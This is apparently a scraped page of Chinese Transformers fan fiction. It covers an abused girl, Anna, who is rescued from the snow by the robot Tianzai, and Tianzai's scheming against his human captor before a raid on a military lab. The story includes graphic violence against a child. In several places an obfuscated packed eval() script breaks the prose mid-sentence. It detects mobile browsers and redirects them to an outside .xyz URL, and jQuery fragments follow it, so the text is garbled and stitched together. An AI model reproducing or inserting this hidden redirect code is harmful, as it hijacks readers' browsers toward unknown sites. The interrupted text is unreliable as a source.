她昨天听见父亲又打发走了一些“例行检查”的社区人员,男人又发了一通脾气,她今天最好不要惹男人生气。 她不想在这样的冬夜被赶出家门。 今年夏季她因为没能洗干净男人裤子上的油渍被男人扔到了门外过夜,门外只有漆黑一片的森林和野狗与乌鸦抢食的声音。 那感觉并不好。 她抱着自己的膝盖在自家后院的垃圾桶旁边睡了一夜。 今天她如往常一般收拾好了家里被男人扔得到处都是的酒瓶与垃圾,洗好了男人的脏衣服,做好了一桌男人爱吃的饭菜,还拖干净了地板。 家里焕然一新的模样让女孩露出了一抹微笑,她一直很乖也很努力,母亲在天堂一定会非常幸福。 也就在她费力地帮男人拉开饭桌的椅子时,房屋的门“嘭!”地一声被暴力推开了。 肯利·艾佛利裹挟着冷气,拿着空空如也的酒瓶走了进来。 安娜尽力缩小着自己的存在感,然而男人似乎就在寻找她的影子。 酒瓶被男人啪的一声扔在了地板上,安娜辛苦拖干净的地再次被碎片铺满,然而她无暇顾及这个,小小的人惊恐地看着男人骂骂咧咧地朝自己伸来了手。 “你躲什么,我又不会吃了你!”肯利·艾佛利醉气熏熏地朝她吐出一口浊气,这难闻的气味让安娜脸都皱成了一团,而男人还在训斥她。 他随脚甩开沾满泥点的靴子,“家里这么冷,你是想冻死我吗?” 她小声嗫喏,不敢告诉男人是因为他没有交钱才停了电。 反抗他只会引来男人气急败坏地暴怒,她今天不想受伤。 于是女孩向他求饶,祈求男人的原谅。 今天的男人似乎是在外面碰了壁,嘟囔着酒吧的人没有眼光,辱骂那个看不起他的投资人没有眼光。 “你为什么这么看我,你也像那个男人一样看不起我吗!” 他立刻瞪直了眼睛,黄牙板咬牙切齿地揪住了女孩的头发,撕裂头皮的痛苦让安娜没忍住发出了一声痛呼。 “爸爸,我没有,爸爸,爸爸求你……” “别在那里装了!我知道你在想什么!你一定也在心里看不起我!” “你那双该死的眼睛就和你那早死的母亲一样让人恶心!” “你和那个女人一样都是养不熟的白眼狼,你们花着我的钱却盘算着如何让我死得体面!” “但你可骗不了我,你这个自私的女孩!” 安娜忍住眼眶中打转的眼泪,她知道自己不是男人嘴中的样子,尽管母亲的样子已经越来越模糊,可她记得母亲的每一句话语。 她说,安娜,你是我最爱的小公主。 她说,安娜,你是最坚强的孩子。 所以她吸了吸鼻子,任凭男人将她拽倒在地。 男人见她不反抗,自然没了发泄的趣味,骂过一通后就坐在了餐桌边,他自发地吃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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似乎是察觉到自己撞不开这门又或者害怕被邻居察觉,男人放软了语气,诱哄着女孩,“我再给你最后一次机会,安娜,你知道不乖的孩子会怎么样的对吧?” “……你也不想你妈妈在天堂受苦吧?” “安娜,想想梵妮。” 男人絮絮叨叨地说着,而安娜一直没有给他开门。 男人再次暴躁起来,再顾不上什么动静,将房门踢得砰砰作响。 在又一次猛击后,房间恢复了宁静。 女孩等了一会儿动静才从衣柜中探出头。 而男人就在这时咔的一声砍开了安娜房间的房门! “啊!”安娜终于忍不住发出了一小声尖叫。 房门的把手在第二次砍击后碎了,男人推开了女孩房间的门。 他放下斧头,发红的眼睛如同被激怒的野牛,大人的巴掌狠狠甩在女孩的脸上,一瞬间的嗡鸣让女孩失去了方向感,鼻子中留下了鲜红的血液。 额角与鼻子的血液混在一起,让这张小脸有些惨不忍睹,即使这样女孩也没有发出太大的动静,男人却在血液的刺激下终于恢复了些许理智,害怕真的弄出人命,他不顾女孩的求饶,将她拖行到了大门口。 “不是想跑吗,跑啊!”女孩身上还穿着单薄的衣服,叠在一起的夏衣抵不住从森林吹出的冬季的冷风,他将女孩狠狠扔出了家门。 安娜哭得乱七八糟的脸埋在了雪中,红色和白色混在了一起,温度润湿了土地,泥土沾染上她的膝盖和手腕,她瑟瑟发抖地转过身,却只看见了男人关上的房门。 “既然如此就在外面呆个够!”男人气愤的言语被关在门后,连同灯光一起熄灭在了寒冷冬夜。 安娜是个很懂事的孩子,她知道自己躺在这里只会步入死亡。 尽管母亲的怀抱让她留恋,可她不想步入这样的死亡。 她在原地趴了一会,直到她能感受到自己的脑袋。 手尖已经被冻得冰凉,她在恢复行动能力后还是第一时间爬到了避风的地方。 身上的衣物更加泥泞与肮脏,她蜷缩在墙角不再动弹。 在这样的冬夜,大雪和从森林中吹出的冷风,是可以冻死人的。 安娜知道这些,梵妮曾经告诉过她冬天要穿的厚厚的,要避开能冻透人的冷风。 她吹着自己的手,希望用这温热的呼吸维持一点儿温度,然而于事无补。 夜逐渐深了,睡意也找上了女孩。 安娜克制着自己的睡意,卖火柴的小女孩就死在这样的冬夜,纵使睡眠的诱惑难以抗拒,她依然努力睁着眼睛,不敢就此入睡。 就在此时,一辆黑色的油罐车驶来。 在女孩打架的眼皮与迷茫的眼神中黑色的如同死神一样的大车停在她面前打开了一侧的车门。 车内暖风扑面而来的热意让她清醒了一瞬,她不敢相信眼前的画面。 这简直像是……魔法。 这是个邀请吗?还是我做的美梦? 即使这是个梦,也请让我…… 为剩不多的理智提醒她警惕,然而求生的本能最终压过了一切。 小小的女孩艰难地站起身,一瘸一拐地爬上了大车的副驾驶。 恍惚间她似乎感受到脚尖的一股托力,可她实在太痛也太累了,她分不清那到底是真实存在的还是自己的幻想,她迷迷蒙蒙向着车主道歉自己身上的污渍弄脏了他的副驾驶一边坠入了梦想。 女孩没注意到自己的歉意变成了无意义的呢喃,而半晌,直到她彻底失去了意识,才听见了一声无奈又低沉的“睡吧”。 她在睡梦中久违地梦见了母亲。 24.无法理解 天灾在人类的词库中搜索到一个词语——好事多磨,本意大概是说一件好事情,在完成的过程中总要经历许多磨难。 然而在他看来,好事磨多了极有可能就会变成坏事。 比如今天晚上他本来只是想碰碰运气填饱肚子,然而先后遇见了他的两个sire、逃离霸天虎的量产杂兵,最后还和量产机莫名其妙处成了可以吃饭的关系。 好吧,从这个角度上讲他今晚也的确是“好事多磨”。 但此刻看着副驾驶内滴落的泥水和蹭上皮革坐垫的血液,听着人类女孩沉沉的呼吸声,天灾突然就觉得好事多磨大概也可以叫做坏事连篇或者多管闲事。 而汽车人领袖多半就是遗传给自己“多管闲事”这个debuff的机。 看在天尊的份上,当初只是威震天在那边拎着红蜘蛛当棍子耍就能引来一个擎天柱。 此时他只是想绕个远路回基地让塞拉斯多遭一会儿冬天的罪,就恰好碰见一个濒死的人类幼崽,最后他还主动现身允许她进入了自己的车厢,好像就也不是多么离谱的事情了。 他并不是突发善心,绝对不是。 小油罐车在芯底唾弃自己的“软弱”,为什么就让她进来了呢? 濒死的碳基他在机械党的基地资料中看过不少,似乎是为了让他空空无也的处理器塞入尽可能多的战争资料与思想烙印,塞拉斯可是毫无保留地向他敞开了所有数据的下载许可。 非常的愚蠢。 但也非常的有用。 天灾由此知道了人类有多脆弱。 可是这个女孩,又有什么特殊呢。 地球上每天都在死人,地球人自己也在杀人,如果他无视这个路边如同烂泥一般的女孩放任她留在这里,她最终也只不过是地球芸芸众生毫不起眼的一人而已。 可是他为什么就是无法放任不管? 车厢内的后视镜反射出女孩熟睡的身影,似乎是睡梦中也不踏实,女孩发出了一两声压抑的抽泣和咳嗽,小油罐车默默又调高了两度暖气。 扑面而来的暖意很快让女孩惨白的脸庞恢复了红润,气血流动,额头上、脸上与四肢的伤痕更加明显,黑色的油罐车维持着平稳的速度驶入森林,在距离女孩被丢出来的房子几百米外熄灭了引擎。 副驾驶中泥水已经完全渗入了内饰,天灾满不在乎的局部变形,扫清了自己车轮边搅进去的树枝与杂物。 内置时钟距离塞拉斯的宵禁还有一个小时的时间,他关闭了所有的光源让女孩陷入更深层的梦境。 他不是一时兴起救起她的。 天灾想。 他在女孩被男人扔出家门时就恰巧看见了这一幕,然后他的车轮就再也无法转动。 他的载具模式躲藏在房子间的阴影处注视着这个受伤的人类幼崽狼狈又虚弱地趴伏在地上,有那么一刻他几乎以为她就此停止活动了,然而没有,小油罐车不知道自己为什么停在那里看着而不是直接开走,一种冲动让他无法置之不理。 作为一个硅基生命体,尤其是作为一个被人为制造出来的原生体,他的代码中本不应存在同情或者怜悯,他是作为战争的机器诞生的,是为了杀死如这女孩一般孱弱而和他毫无关系的人类所降生的,然而当那小小的、顽强的女孩在那样的伤势中依然努力挣扎着将自己挪到了角落蜷缩起来时,一些陌生的数据流毫无征兆地冲击了天灾的处理器。 风雪中,无法解读的数据如同奔涌而来的潮汐、无法阻挡的风暴,让他只能放任这情感冲刷掉他处理器中的一切疑问与算计。 当一切平息,他的脑海中只剩下了一句话。 「哪怕是弱小的一员,我们……也应该有挣扎求生的权利吧?」 K-19的话语和那双面露恳求的光学镜不断地在他的眼前闪现,他第一次知道,情绪也会有颜色。 他那一刻几乎是想彻底现身砸碎这座房子和那个该死的男性碳基了。 然而女孩,那如野草一般坚韧的小生命体发出了一声再细小不过的呜咽。 凭借原生体优越的音频接收系统,他听见了,女孩呢喃着母亲,一个人类的carrier的名讳。 于是他在雪花中启动了引擎,暖风吹热了他的座椅,也吹向了被冻僵的女孩。 他向她发出了邀请。 所以这不是一时兴起。 这是他第一次没有处于计算所做出最原始的决断。 他想救她。 拯救的冲动战胜了毁灭的欲望,他开启自己的侧车门,在女孩无法攀爬上油罐车高高的台阶时变形出手掌托举她进入了自己的车厢。 此时,人类血液的铁锈味与泥土的腐臭味充斥了他的整个内部车厢,几个小时前还在痛惜自己的外貌的小油罐车却丝毫没有在意这些,K-19的话在此刻再次在他的处理器中响起,他截断了又开始有失控趋势的数据流,透过后视镜查看着女孩的情况。 他只清楚人类的脆弱与杀人的技巧,却不知道挽救一个生命需要付出怎样的精力,也不知道女孩的伤势是否需要医生,是否需要药物。 就在他思索如何要将女孩载到最近的人类的救助站,怎样向其他的碳基解释深夜一辆“无人驾驶”的大型油罐车载着一个浑身是伤的女孩时,昏迷的孩子逐渐清醒了过来。 那双湛蓝色的眼睛缓慢地睁开了,天灾一时之间放慢了置换的频率,却没有开口暴露自己的打算。 女孩的睫毛轻微眨动着,似乎也像是小油罐车一样在重启自己的碳基处理器。 半晌她像是才意识到自己在哪里一般猛地弹坐了起来,剧烈的动作让她的伤口再次传来了疼痛,这也让她意识到了自己并未在做梦,父亲的打骂、雪夜的寒冷与濒死的恐惧都是真的。 她被人所救也是真的。 她在车厢内四处寻找,却没找到“救命恩人”的踪迹。 她在寻人无果后第一时间注意到了自己在车厢内留下的“痕迹”。 女孩的脸色立刻变了,她顾不上额头还在滴落的血液,在天灾的内部车厢中寻找着可以用来擦拭污浊的东西。 然而子空间比自己的喷漆都干净的天灾自然没有存在任何可供她弥补自己造成的“损失”的东西。 女孩抿了抿嘴,在车厢中透过车窗往外张望了一下,看到四周真的没有任何人影存在后她脱下了穿在层层夏衣最外面已经因为肯利·艾佛利的拖拽而彻底损坏的外衣。 翻出尚且还算干净的内里,她吸了吸被冻得不太通顺的鼻子,擦干净了自己睡着时蹭在皮坐垫上的污渍。 后视镜悄悄调整了下角度,照见了女孩努力擦拭的背影。 天灾并不在意被污渍弄脏的座椅,不过是可以被替换的东西,他机体的自清洁功能就可以处理,更何况回到机械党也自会有人帮他处理。 虽然他肯定不会再让他们进来就是了。 而且如果这痕迹被机械党的人发现,难保这女孩会发生什么。 他观察着女孩的动作,也注意到女孩的额头虽然还在流血但已经不再像一开始那样恐怖,这代表她在自愈,这很好。 能自愈就代表还有活下去的能力,他微微安心,将暖风又调高了一些。 外面的风雪刮了一夜,已经渐渐平息,他悄悄抖了抖被雪埋没的后车轮,不清楚后面该怎么处理女孩。 既然她已经苏醒,肯定不能让她一直待在自己的车厢里。 将她带回机械党是肯定不行的,塞拉斯不像是不追根到底斩草除根的人。 然而他所认识的机子不过就那么几个,威震天的霸天虎? 额……算了吧,他们看起来像是会把女孩活生生吃掉。 汽车人? 不知道他们养不养人类碳基,但是汽车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833167|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的宗旨好像是…… 他翻了翻数据库,找到了擎天柱的宣言。 「直到一切归于尘土」 嗯……好像也不太行。 但领袖给他的初见却不像是会说出这样话的机。 矛盾啊…… 是他数据库有误?之前威震天的词条同样奇怪……算了,他不想在这样本就多事的夜晚给自己找罪受。 或者……K-19? 那可就真就凑够老弱病残一家亲了。 反正将女孩再送回那个房子是肯定不可能的。 那个男人不像是会治愈她的存在。 然而就在他纠结要不要直接将女孩交给K-19那些已经脱离霸天虎阵营的杂兵时,他没有发现女孩也在思考着什么。 她犹豫着,直到搭上车门把手时才终于下定了决心。 天灾不敢置信地发现女孩毫无征兆地打开了他的侧车门。 寒风一下子带走了车内全部的温度。 这样的伤她想去哪里! 天灾大惊,后车轮的变形已经进行到了一半。 女孩此时已经走远,也不管周边到底有没有人或者是谁救了她,只是转过头冲着黑暗中的油罐车大喊:“谢谢您救了我!” “但是,我还有必须要履行的责任,所以!” “我要回去了!” “我叫作安娜·艾佛利!虽然不知道您的名字!但谢谢您!不知名的好人!” 女孩裹着衣服一瘸一拐地走远,油罐车却楞在了原地。 他不知道那个房子有什么东西吸引着她,哪怕被打成了这样依然坚持要回到那个男人身边。 而且…… 责任。 什么是……责任? 他翻阅着自己的处理器,搜索着人类的词库。 什么样的“责任”让她可以将自己的生死都退居后位。 在天灾短暂的上线时间中,从未品读过有这样力量的词语。 一个个词条在他的处理器中闪过。 不明白。 无法理解。 无法解读。 她回去,摆在她眼前的只会有死路一条。 任何生命体都会有追求生存的本能,正如刚刚爆发出了强烈求生欲望的安娜。 可她明知回去会面对什么,却依然…… 他知道,女孩刚刚在他眼前放弃了逃跑的机会。 油罐车早在见识到女孩的挣扎时就注意到了她的聪颖,所以,她很清楚,刚刚就有一个“人”存在于这里并有着解救她的能力,但她依然选择了回去。 为什么? 为了那虚无缥缈的责任? 什么样的责任可以让人放弃对自己生命的执着? 天灾不明白,他见到了女孩在那一瞬间爆发而出的生命的光芒,因而更加无法理解。 他的处理器分辨得出生存与死亡的概念却完全搞不懂人类的思维。 女孩……安娜已经敲开了那扇门,他依然守在黑暗中,看着那个男人脸色不佳却没有再对小安娜出手,只是略显粗鲁地将她拽进了屋子。 是因为责任,才不可以逃避。 责任,似乎也让她活了下来。 他又注视了一会儿,直到安娜的房间亮起灯,又熄灭。 他知道,女孩今夜安全了。 内置时钟开始三十分钟的倒计时,他启动引擎带着满脑子注定无人解答的疑问缓缓没入黑暗。 另一边,塞拉斯在寒风中吹了将近三个小时后,终于等来了那辆被剐蹭得不成样子的油罐车。 这阴鸷的男人挑起了一边的眉头,“看来我们的……汽车朋友今夜有什么奇遇。” “介意和我们分享一下吗?” “「天灾」。” 副官拿着遥控器站了出来,而天灾变形半跪在了他们身前。 25.冲着搞事的终点一路狂奔 漆黑的赛博坦人脸色漠然,清秀的面甲上看不出任何的情绪,他带着项圈半跪在人类面前,明明是臣服的姿态却让人感受不到任何鞠躬屈膝的奴意。 副官不满地瞪着他,却屈从于没有首领的授意,不敢擅自处置他。 黑色的油罐车垂着头目光根本没有分给余人一分,猩红的光学镜只看向了他的“主人”。 原生体在了解到机械党唯一的领头者只有塞拉斯后便无师自通地理解了在这种等级分明的党派阵营中如何为自己争取到最大的权力。 换句话来说,不管塞拉斯与副官如何推崇他们的组织,机械党的内部权力构造和他处理器中那些不断衰亡又如春笋一般冒出的恐怖组织相比没什么特别的。 只要“讨好”了首领,他就是安全的。 天灾在机械党的处境也会从“被人类所驱使的奴隶”变为“首领所持有的秘密武器”。 乍看之下似乎没有区别,但是实际上他作为他们所拥有的唯一财产,他的地位将凌驾于所有人类之上。 天灾无视所有人的表现也将会被默认为他直接“效忠”的对象只有机械党的首领所以产生的“自然现象”。 他会成为塞拉斯眼中只有他一人才能持有的私人物品。 别小瞧这种独一性和私人性。 当他越表现得只忠诚于塞拉斯,其他的士兵越会形成“只有首领才拥有直接命令与使用他的权力”的共识与潜意识。 他们将会认为除了首领外,其他人都不再拥有随意驱使他的权力。 他所有的行动将会被认为是首领的默许。 这种无形的权力与地位的展示也将会促使塞拉斯膨胀他的野心,让他认为自己对天灾的控制操之在握。 轻视与自大是天灾为他定的死因。 届时小油罐车也将得以最大程度地增加自己报复与逃离的几率,在目前的局势中保护好他自己。 这些人类他一个都不打算放过。 基地仓库的空地中,人类士兵紧握着武器,天灾知道自己的威胁还不足以让这些人类放弃对自己的戒备,但来日方长,长生种的优势就在于此,他根本不惧怕达到他的目的所需要耗费的成本,而他已经迫不及待复仇的那一天的到来。 天灾将自己的目光聚焦在塞拉斯身上,垂眸的姿态如同主人最忠诚的猎犬。 猩红的目镜照亮塞拉斯深沉的脸庞,脖颈的项圈实际上正在缩紧,压缩他本就置换苦难的发声器,不知内部顶针何时会刺破喉咙的恐惧感也在紧逼他的生理极限,喉咙发痒,他强忍住咽痛,等待塞拉斯向自己下达可以活动的命令。 某种意义上原生体将人类的心理揣摩得很准,塞拉斯就算再怎么矢口否认又或者坦然辩驳,他终究逃脱不了人类的劣根性,机械党所谓的理想都不过是他粉饰自己野心的幌子,如今天灾明晃晃的“认主”态度取悦了他。 这心思沉重的男人背着手仰着头看着眼前的黑色巨人,他如同暗处的狼貂眯着眼睛上下扫视着油罐车身上遮挡不住的划痕,慢条斯理地问他:“你见到了谁?” 完全没有给天灾扯谎的机会。 天灾的处理器下意识回忆起今夜早些时候的情形。 彼时他刚与自己的两个sire“相认”,塞拉斯的私信便冷不丁地在他的音频处理器中响起,意义明确的质问直接将油罐车从与同族相接触的喜悦中拉回了现实。 一边是两个sire“热切”的目光,一边是塞拉斯的逼问,不管那两个领袖出于何种目的才向他抛出橄榄枝,总比人类在他身上打的算盘要友好得多。 小油罐车自认为落到同族手里他不管怎么样也不会比现在更差。 当时面对塞拉斯的责难他姑且糊弄了过去,毕竟隔着距离他们的项圈控制范围还没伸到那么远。 此时控制器就在他眼前,他漫不经心地扫过副官手中的控制器,表现出了忌惮与恰到好处的恐惧。 “擎天柱。”他如实回答,而得到答案的男人果不其然露出了了然的神情。 “内容、图像?我需要关于这个prime的所有信息!任何信息!” 塞拉斯身后,那个曾经活生生拆开天灾的首席科学家听到肯定的回答立刻撞开了副官,此时他没有戴那碍眼的口罩和战术面具,脸上的痴迷和不合时宜的狂热简直令人胆寒。 副官眼中闪过一丝不悦,塞拉斯却没有阻止首席的逾越,就连机械党的其他人也对这种场景习以为常。 天灾将一切尽收眼底,却掩盖了所有情绪。 塞拉斯只见他的外星奴隶缓缓将那双机械眼聚焦到了他的首席科学家身上,又移回到了自己身上,无声恳求他的首肯。 他微微点头,那机械便像得了骨头的狗趴低了身子,头雕几乎垂到了地上,一个和他有百分之八十相似机体的外星机器人的三维倒影便呈现了出来。 首席围绕着那和人一样高的虚影面露惊奇与感叹,手中的平板伸出一根线路连接到了原生体的胳膊上,接收着这位prime的信息。 他的副官也凑近观察着虚影身上的武装,暗自评估着他的威胁性。 他走上前,两个人立刻为他让开了位置。 只一眼塞拉斯就明白这个红蓝色的机子日后会成为自己的敌人。 这样缺少野心和杀意的眼神,是一双属于草食动物与被捕食者的眼睛。 无足畏惧,但同样,塞拉斯也注意到了这个擎天柱给自己带来多少机会。 他和天灾有着相似的机体,而从实际数据上又要比天灾要大上一圈,实战经验、武器配置、格斗技巧、机体灵活性,仅一眼看过去塞拉斯便意识到这台领袖机各个方面的数据都要比他手上的这台要好。 “很好,”塞拉斯满意地点头,军人的习惯让他挺直了腰板,他背着手转过身子夸奖依然低伏在地上一动不动向他们展示投影的机甲,“你今天干得不错。” 一句简单的夸奖便让天灾露出了骄矜。 塞拉斯勾起一丝嘴角,“好了副官,”他微微侧头,“看来我们的天灾今天并没有故意隐瞒。” “好孩子值得一些……奖赏。” 副官手里的控制器放下了,项圈内的顶针已经微微探出,又在副官动作时收回了内部,圆形铁圈随之放松,原生体的机体也出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850548|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的震颤,但仅一瞬天灾又恢复了正常。 战术口罩下,天灾大口呼吸着,饱受折磨的脖子上令人厌恶的被束缚感逼得他发疯,CPU中不断报错,他删掉多余的数据,缓缓站直了一直趴低的身子。 长久的不适姿势让他的机体酸痛,全身线路都在抗议今晚的超负荷运转,他下意识想要伸出手往外扯一扯已经嵌入原生质中的项圈,却在抬起到一半后又强制自己放下了手。 小动作没逃过塞拉斯的眼睛,男人却并未多说什么,径直上了扶梯。 “既然你今晚收获颇丰,那么白天便休息吧,”他大方地表示自己给天灾的赏赐,“另外,这里也有另一个任务要交给你。” 他站上二层的眺望板,平视着天灾的面甲,“我们收获了一条内部消息,x国军方的实验室中存放着一份机密文件。” “内容可能与外星文明有关。” “你要潜入这个实验室,毁掉它,将资料偷出来给我。” “任务时间定于今夜凌晨,具体时间、地址与建筑内部地形图稍后会发送到你的内线。” “因为敌方的一些因素,我需要你发挥你的自主能动性。” 他最后总结:“别让我失望。” 油罐车肃然地点了点头,像极了人类电影中冷酷无情的特工,他变形再次驶出了机械党的地盘。 人类相当满意他们所得到的与看到的东西。 而那只不过是天灾想让他们得到与看到的。 哪怕机体一直在向他的CPU发送目前这种情况的最优解,他依然想办法找到了另一种方法促使塞拉斯相信了他,并且他成功隐瞒下了霸天虎的存在。 看似毫无作用的隐瞒打出的信息差就是他的鬼牌。 在霸天虎主动暴露前,他得看看这些小消息能为他创造出多少可利用的价值。 他倒是无所谓谎言,毕竟对于塞拉斯这种自作聪明的人而言,真假交加远比全部的谎言更好用。 毕竟人类和赛博坦人在他看来也没多少差别。 威震天会敲打红蜘蛛,就像塞拉斯坐观副官与首席之间的暗流涌动,他们都只会相信自己所推理出的和所思考出的结果。 从某种意义上天灾给他们提供的选择并没有多大决定价值,但一旦他们相信了。 已经驶远的小油罐车冷笑一声,他们就落入了天灾的连环套路。 等着吧,迟早让你们都翻车。 他暗戳戳地平等辱骂他们所有人。 塞拉斯的资料在这时发送过来,他在CPU重温男人刚刚的话。 自主能动性? 哈。 懂了,信号太差机械党无法实时控制。 这就等于…… 自由时间! 小油罐车的心情又美好起来了。 这他能让塞拉斯如愿以偿? 笑话。 这种情况下他必不可能不搞事。 偷走资料NoNoNo 毁灭资料YesYesYes 小油罐车在进行选择的岔路口猛踩刹车瞬间拐弯,冲着搞事的终点一路狂奔。 26.袭击前奏 塞拉斯发给他的资料中写上了军方基地的详细地址,最过分的是数字甚至精确到了门牌号。 原生体都不用过多求证这份资料的准确性,这些东西毫无疑问就是出自军方自己人之手,他怀疑昨日它们可能都还在军方的绝密电脑中。 天灾暗暗翻了个白眼,他或许是将人类的危险等级看得太高了,显然除了塞拉斯这类人类中的败类,其余的人类也并非铁板一块。 霸天虎与汽车人虽然不合百万年,但即便如此,赛博坦人内部的团结性也远超这些碳基生物——他们甚至出卖了自己阵营中的资料给了天灾。 全然无视机械党为了获得这种无谓的资料可能会造成的人员伤亡。 如果可以的话天灾实在不想和这些碳基生物沾染上一丝一毫的关系,他加大速度,油罐车24寸的轮胎在地上留下深黑色的制动痕迹,他暗暗希望今天能尽快结束。 和人类相比,赛博坦人在大多数宇宙人眼中其实是一个比较认死理的种族,具体就表现在他们耗费了数百万年的时间在战争上,就为了证明对方的主张是错误的,只有自己的想法才是拯救赛博坦的正途。 殊不知自己种族的未来已经悄然流逝在了彼此之间的仇恨之中,最后无论留给哪方阵营的都只不过是战争燃烧后留下的一地鸡毛。 大多数宇宙人避他们如蛇蝎,天灾能理解他们,打到霸天虎和汽车人这样把自己母星都作没了的,的确就他们独一份,也是称得上一声疯子。 同样的,这样的战争他们能打这么久,也是因为忠诚的代码就烙印在他们的基础代码之上。 赛博坦人忠诚于普莱姆斯、忠诚于火种源、忠诚于领导模块、忠诚于十三天元、忠诚于领袖,忠诚于自己也忠诚于自己的阵营。 对于他们而言,哪怕是红蜘蛛这样看似三心二意的投机者其实也从未背叛过自己,也许他会为了自己的想法成为其他机子眼中那个不稳定的分子,但即便是他也绝不会将自己种族的存亡亲手交付于外人之手。 天灾自然也拥有这样的代码,甚至因为被制造出来的缘故,他要比其它任何赛博坦人都更加看重“忠诚”的分量。 因而小油罐车对这份资料背后的提供者嗤之以鼻。 但他如今似乎也没有嘲笑别人的资格。 机体上的损伤逐渐自愈,然而火种上的痛楚依然作痛。 夜晚,所有生物都陷入了香甜的梦想,仅余下夜行的鸟类在捕猎时留下翅膀的拍打声。 庞大的阴影从偏僻的小路疾驰而过,车轮与地面的摩擦声惊动了地下空洞中熟睡的鼠类,静寂的深夜响起一两声乌鸦的低鸣。 油罐车一边向着目的地进发一边查看着那份言简意赅的资料。 资料中同样包含了一份详细的军方基地3D立体扫描图。 基地共有三个入口以及一个出口,从基础设计上就注定了它是个固若金汤的铁壳王八。 四个口子都驻守着重兵,每隔半小时会有一组换班人员与门口的轮守人员进行替换,频繁且密集的轮换表最大程度避免了士兵因为疲劳与注意力涣散导致的疏漏,而整个基地每15分钟更是会派出一组持枪卫兵进行日常巡视。 除了人力外,基地也被笼罩在一片特殊磁场内,没有出入许可的人都会被识别为敌人促使整个基地瞬间进入警戒模式,届时才叫做插翅难飞。 然而机械党的资料很明确告诉了天灾这种磁场会影响人类的电磁波通讯却不会识别天灾的赛博坦人生理信号。 小油罐车用轮胎想也知道这磁场出自谁之手。 他那个属于霸天虎的sire显然是个不愿和人类合谋的,那么人选就只剩下了擎天柱。 看目前的架势他本以为那位领袖撑死了和军方进行一些无伤大雅的交流合作,可能是关于赛博坦文化又或者是一些基础科技类,但显然擎天柱已经和人类展开了一部分……军事合作。 处理器本能地锁定了进攻的最佳突破路线,虽然士兵的巡逻周期相当频繁,但是如果敌人是拥有变形能力的赛博坦人呢? 天灾的载具形态扫描自他受困时机械党基地内随意摆放的运载工具,原生体情急之下为了逃生慌不择路扫描上了这件既不先进也不美观,而且还笨重的器具,可以说本就是一次失败的扫描,就和他失败的诞生一样,是完全的意外产物。 他躲藏在树林中,漆黑的涂装借由晃动的树枝与茂密的灌木隐藏住了自己的身影,他藏匿在此处等待着自己的猎物。 几分钟后,一辆满载物资的货车驶来。 天灾以大型机难以想象的速度从藏身的高处一跃而下,在士兵反应过来之前原生体手臂中的臂刃已经先一步抵在了士兵的脖子上。 锋利的刀刃已经彻底将车头掀成了两半,吓呆的人类此时还未反应过来自己已经被劫持了。 直到这长着猩红眼眸的恶魔低声命令他下车,人类士兵才终于找回自己的理智。 “就这样下来,”天灾带着自己的战术口罩,伸进去的刀刃又前进一寸,尖锐的刀尖抵着人类的喉咙,锐利的部分已经划开了士兵脖子上的军装,“乖乖听话你就还有活命的机会。” 他不耐烦地命令道:“我只说这最后一遍。” 士兵战战兢兢地下了车,军事基地中的研究事项本就是机密,除了那些白大褂,士兵们也不知晓,他们只是单纯执行防卫任务。 天灾也没想从这个人类口中问出什么,等人类落地后他便不再废话,将报废成敞篷车的货车车头从车厢上扯了下来,蓝色的光芒从他的光学镜中射出,将货车车头的形状印刻上了自己的数据库。 机体随之变化,不出几秒一辆崭新的黑色车头已经替换原本的车头连接上了原本的车厢。 失败的扫描换一次成功的任务,敏强算是物尽其用了。 士兵的脑子直到现在还不敢相信自己碰见了什么,一辆、一脸会说话会变形的外星车! 他瞪大眼睛看着那辆车自顾自变成了军方车头的形状,更毛骨悚然的是那空无一人的车座上转瞬间出现了一个和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868466|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一模一样的“人类”。 他没忍住发出一声短促的尖叫,而随着他的声音,驾驶座上的“人”也僵硬的转过了头,冲着他露出了一个恐怖的微笑,士兵立刻如同被卡住脖子的大鹅闭上了嘴巴,浑身颤栗。 “再见。” 出乎意料地,那个“人”没有对他做出什么更恐怖的事情,只是挥了挥手,扬长而去。 士兵在一分钟之后才找回自己的声音。 